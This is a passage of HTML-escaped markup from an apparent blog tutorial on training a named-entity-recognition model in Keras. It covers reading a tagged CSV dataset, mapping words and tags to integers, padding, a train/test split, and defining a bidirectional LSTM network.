&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        agg_func = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;lambda&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [(w, t) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w, t &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(s[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Word&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values.tolist(), s[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Tag&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values.tolist())]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.grouped = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.data.groupby(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sentence #&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;).apply(agg_func)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.sentences = [s &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.grouped]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# reading csv in pandas dataframe&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data = pd.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;data/biluo_train_data.csv&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;latin1&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data.fillna(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;ffill&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data.head(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Unique words in corpus:&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Word&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].nunique())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Unique tags in corpus:&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Tag&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].nunique())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# defining list of words&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;words = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Word&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;words.append(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ENDPAD&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;num_words = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(words)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# defining list of tags&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tags = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Tag&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;num_tags = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(tags)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (num_words, num_tags)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# splitting dataset in sentences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;getter = SentenceGetter(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sentences = getter.sentences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# defining dictionaries to mapping words and tags to integers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;word2idx = {w: i+&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; i, w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(words)}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tag2idx = {t: i &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; i, t &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(tags)}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Reading and transformation of data&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point the vocabularies created are used to map each textual content on a sequence of integers, thus being able to
give these as input to the neural network defined for the training epochs. &lt;br/&gt;
Once this is done, the sets of data and associated tags are splitted into a training set and a test set, which will be used
for the evaluation of the trained model.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# max len of sentencess&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;max_len = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;400&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# for every sentence mapping words to integer id based on dictionary word2idx and padding every sequence to same length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X = [[word2idx[w[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sentences]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X = pad_sequences(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=X, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;post&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_words-&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# for every sentence mapping tags to integer id based on dictionary tag2idx and padding every sequence to same length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;y = [[tag2idx[w[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s] &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sentences]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;y = pad_sequences(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=y, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;post&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=tag2idx[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;O&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;y = [to_categorical(i, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;num_classes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_tags) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; i &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; y]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# splitting dataset in train and test set&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;x_train, x_test, y_train, y_test = train_test_split(X, y, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;random_state&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 9 - Data mapping&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:728px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c211d220be7339acb240f1b6c39aa570/cecac/word-tag-id.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:44.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;179\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20179\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%2023v18h83V4H7v19M176%205v17l1%2016h75V5l-37-1-39%201m122%2016v17h83V5l-42-1h-41v17M10%207l-1%204v4l2-2c3-2%205-3%208-1s2%203-1%203c-6%200-7%202-1%204%204%202%204%202%204%205%200%205-2%206-8%206l-4-1v10h79v-4l-1-5c-2%200-2-1-2-4%200-4-2-7-4-6l-1%205c0%204%200%205-2%205s-2-1-2-6v-7h5l6%201c1%201%201%200%201-5V7L49%206%2010%207m168%2014v15h73V6h-73v15m122%200v15h78V6h-78v15M24%2021c0%207%200%209%202%209l1-4c0-5%202-8%204-7l1%206c0%204%200%205%202%205l1-6v-6h-4c-4%200-4-1-4-4l-1-3c-2%200-2%202-2%2010m73-7l-2%203v2l1%206c0%204%200%205%202%205s2-1%202-5c0-5%200-6%202-6l1-1-1-1-2-1c0-1%201-2%203-2s2%200%202%208c0%206%200%208%202%208l1-9V11h-4c-4%200-5%200-7%203m83%206c0%208%200%2010%202%2010l1-6v-6l3%205c3%206%204%206%208%200l3-4v5c0%204%200%206%202%206l1-10c0-11-1-12-7-3l-3%206-3-6c-6-9-7-8-7%203m124-8l-1%209c0%208%200%209%202%209s2-1%202-3c0-4%200-4%204-4l3-1c0-2-1-2-3-2-4%200-4%200-4-2%200-3%200-3%204-3%203%200%204%200%204-2s-1-2-5-2l-6%201m38%202c0%203%200%203-3%203-5%200-8%206-5%2011%201%202%202%202%206%202h5V20l-1-9c-1%200-2%201-2%203M39%2018c-2%201%200%203%202%202h3l1%202c-5%201-6%203-6%205s0%203%205%203h5v-4c0-7-1-9-5-9l-5%201m24%201c-4%205-1%2011%204%2011s7-2%207-6c0-7-8-10-11-5m50%200c-2%202-2%207%200%209%201%202%207%203%209%201%202-1%200-2-4-2l-3-1c0-2%201-2%204-2s4%200%204-2c0-4-7-7-10-3m11%200a1123%201123%200%20015%2011h2l1-4%202-4%201%204c2%206%204%206%207-2l1-7c-2%200-4%203-4%205%200%203-2%202-3-1-1-5-4-5-5%200l-1%204-2-4-2-4c-2%200-2%200-2%202m37%200l-1%205c0%204%202%206%205%206%205%200%207-2%207-6%200-3%200-5-2-6s-7-1-9%201m50-1v2h5l1%202c-5%201-6%203-6%205s0%203%205%203h5v-5c0-6-1-8-5-8l-5%201m13%206c0%205%200%206%202%206l1-5%201-5c3-1%203%200%203%205%200%204%200%205%202%205s2-1%202-5l1-5c1-2%203%202%203%206%200%203%200%204%202%204%201%200%202-10%200-12l-9-1h-8v7m41-6c-2%201%200%203%202%202h3c2%201%200%203-3%203-2%200-4%202-4%205%200%201%202%202%206%202h5v-6c0-4%200-6-2-6h-7m85%200c-2%202%200%203%202%202h3l-1%202c-4%201-5%203-5%205s0%203%205%203h5v-5l-1-7h-8M49%2081c-3%202-4%205-2%205l3-2c5-4%205%203%200%208-6%206-6%207%201%207l7-1c0-2-1-2-4-2h-3l3-4c4-4%205-7%203-9-2-3-5-3-8-2m15%200c-3%202-4%205-2%207v3c-4%203-1%208%205%208%205%200%208-7%204-9v-1l1-3c0-4-4-7-8-5m15%200c-2%201-5%205-3%205l3-2%203-1c3%201%202%205-2%2010l-5%205%207%201c7%200%209-2%202-3h-3l3-4c5-7%202-14-5-11m24%201c-2%201-3%205-1%207%201%200%201%201-1%202-4%205%203%2011%209%208%203-2%204-6%202-8v-3c2-3%200-6-3-7s-3-1-6%201m30%200c-2%201-3%204-1%204l3-2%203-1c2%202%201%204-1%205l-2%202%202%201c3%201%203%205%200%205l-3-1-2-1c-3%200-2%202%201%204%205%204%2012-2%209-7v-3c1-2%201-4-1-6s-5-3-8%200m40%200c-2%201-3%205-1%207v2c-5%204%202%2011%208%208%203-2%204-6%202-9v-2c2-2%200-5-3-7-3-1-3-1-6%201m111-1c-3%202-4%205-2%205l3-2%203-1c2%202%201%206-3%2010-6%206-6%206%202%206l6-1c0-2-1-2-4-2h-3l3-4c5-5%205-8%202-10s-4-2-7-1m13%201c-2%203-2%203-1%205v3c-2%203-1%207%202%209%206%202%2012-2%209-8v-5c1-5-5-8-10-4m17-1c-5%203-5%208%200%2010l3%202-3%203-2%203h2c5%200%2011-14%208-17-2-1-6-2-8-1M34%2087c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-3v-2l-1-6c0-7-2-7-8%201m83-5l-1%205c0%203%200%203%204%203%203%200%204%201%204%202%200%203-3%205-5%204h-3c-4%202%204%205%208%203%205-3%205-11-1-12-4%200-4-3%200-3%206-1%205-3-1-3l-5%201m125%200v9c-2%203-2%204%200%206%205%205%2013%200%2010-5-1-2-2-3-1-4v-6h-9m15%200v7c1%200%201%201-1%202-3%204%202%2010%208%207%203-1%204-5%202-7v-3c3-5-5-10-9-6m71%205c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-2%201-1-1-2-1-5c0-8-2-8-8%200M19%20148v9h5c8%200%2012-5%207-8v-9l-7-1h-5v9m89-6c-6%207%200%2019%209%2016%2011-3%209-18-2-18l-7%202m35%200c-3%204-3%2011%200%2014%2010%209%2023-4%2014-14-4-3-10-3-14%200m43%2010c0%2010%200%2010%208%208%205-1%206-5%203-8v-2l1-3c0-3-3-5-9-5h-3v10m104-8c-8%209%202%2022%2012%2015%204-2%204-3%204-8%200-8-10-12-16-7m31%208v9h4c8%200%2013-5%208-9v-2c4-4%200-8-8-8h-4v10m-210-8c-3%205-1%2011%204%2011l4-1v-10h-8m35%200l-1%205c0%206%206%208%209%204%205-5-3-14-8-9m-101%209l1%209%202-3c0-2%201-2%202-1%203%200%207-4%207-7%200-5-3-7-8-7h-4v9m15-7c-5%205%201%2014%208%2011%203-1%203-3-2-3l-4-1c0-2%201-2%204-2s4%200%204-2c0-5-6-7-10-3m233%201c-3%203-3%206%200%209%204%204%209%202%209-5%200-6-5-8-9-4m-53%202l-3%205c0%202%204%207%207%207%202%200%206-5%206-7%200-5-7-8-10-5m124%205c0%209%202%209%203%201%200-4%200-5%202-5s2%201%202%205c1%207%203%208%203%201%200-5%201-5%203-5%201%200%202%200%202%205%200%207%203%207%203%200s-2-10-5-9l-9%201-4-1v7m-153-4v9c-1%204%200%206%204%206%207%200%209-7%203-7l-4-2%201-1c3%201%207-3%207-6%200-2-10-1-11%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c211d220be7339acb240f1b6c39aa570/c85cb/word-tag-id.webp 300w,/static/c211d220be7339acb240f1b6c39aa570/e88ff/word-tag-id.webp 600w,/static/c211d220be7339acb240f1b6c39aa570/8cb3e/word-tag-id.webp 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c211d220be7339acb240f1b6c39aa570/5a46d/word-tag-id.png 300w,/static/c211d220be7339acb240f1b6c39aa570/0a47e/word-tag-id.png 600w,/static/c211d220be7339acb240f1b6c39aa570/cecac/word-tag-id.png 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 9 - Example of data mapping&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c211d220be7339acb240f1b6c39aa570/cecac/word-tag-id.png&quot; title=&quot;Figure 9 - Example of data mapping&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 9 - Example of data mapping&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;At this point the architecture of the model is defined. It is a network with an initial &lt;strong&gt;Embedding&lt;/strong&gt; layer, a bidirectional &lt;strong&gt;LSTM&lt;/strong&gt; layer and
finally a &lt;strong&gt;TimeDistributed&lt;/strong&gt; layer, which defines a fully connected layer on the same time windows. For further information on the nature of the different layers
please refer to the &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/layers&quot;&gt;official documentation&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The model is then trained over a number of epochs, using &lt;strong&gt;EarlyStopping&lt;/strong&gt; as a callback that monitors the training and stops it
if the network begins to suffer from &lt;a href=&quot;https://en.wikipedia.org/wiki/Overfitting&quot;&gt;&lt;strong&gt;overfitting&lt;/strong&gt;&lt;/a&gt;,
i.e. excessive adaptation of the training data, with consequent loss of accuracy on the test data.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;input_word = Input(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;shape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=(max_len,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Embedding(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_dim&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_words, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;output_dim&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len)(input_word)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = SpatialDropout1D(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)(model)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Bidirectional(LSTM(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;units&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;return_sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;recurrent_dropout&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))(model)&lt;/span&gt;&lt;/span&gt;
